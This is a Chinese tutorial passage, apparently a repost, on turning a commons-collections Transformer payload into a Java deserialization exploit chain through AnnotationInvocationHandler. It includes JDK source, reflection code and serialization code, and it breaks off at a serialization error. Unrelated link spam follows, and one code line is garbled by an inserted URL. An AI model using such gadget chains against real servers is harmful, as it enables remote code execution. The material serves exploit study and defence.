前言上一篇了解了commons-collections
中的Transformer
,并且构造了一个简单的payload,接下来就需要将其改造为一个可利用的POC
AnnotationInvocationHandler前面说过,触发漏洞的核心,在于需要向Map中加入新的元素,在上一篇中,我们是手动执行行 outerMap.put("test", "xxxx");
来触发漏洞的,所以在实际反序列化利用的时候,时,我们需要找到一个 类,它在反序列化的readObject
逻辑里有类似的写入操作 。
这个类就是 sun.reflect.annotation.AnnotationInvocationHandler
,我们查看它的readObject
方法(这是8u71以前的代码,8u71以后做了一些修改)
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);}catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = https://www.huyubaike.com/biancheng/memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() +"[" + value + "]").setMember(annotationType.members().get(name)));}}}}
核心逻辑就是 Map.Entry memberValue : memberValues.entrySet()
和 memberValue.setValue(...)
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值 。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler
对象,并将前面构造的HashMap
设置进来
Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);
这里因为sun.reflect.annotation.AnnotationInvocationHandler
是在JDK内部的类,不能直接使用new来实例化 。可以使用反射获取它的构造方法,并将其设置成外部可见的,再调用就可以实例化了 。AnnotationInvocationHandler
类的构造函数有两个参数,第一个参数是一个Annotation
类;第二个是参数就是前面构造的Map
这里有两个问题:什么是Annotation类?为什么这里使用 Retention.class ?需要反射上面我们构造了一个
AnnotationInvocationHandler
对象,它就是我们反序列化利用链的起点了 。我们通过如下代码将这个对象生成序列化流:ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();
我们和上一篇文章的payload
组成一个完整的POC 。我们试着运行这个POC,看看能否生成序列化数据流:文章插图
在writeObject的时候出现异常了:
java.io.NotSerializableException: java.lang.Runtime
经验总结扩展阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 猫之城浪花约会怎么配队
- 星之彼端丹铜事件该如何选择
- 星之彼端叶灵事件该怎么选择
- 三星s21怎么截图_三星s21的截图方法
- 买房网签之后还有什么流程
- soul怎么找回之前聊天的人 soul恢复聊天列表方法
- 廉租房购买之后能再卖吗 父亲的廉租房女儿可以继承吗
- 2023微博电影之夜嘉宾有哪些
- 又拍云之 Keepalived 高可用部署
- JVM调优工具使用手册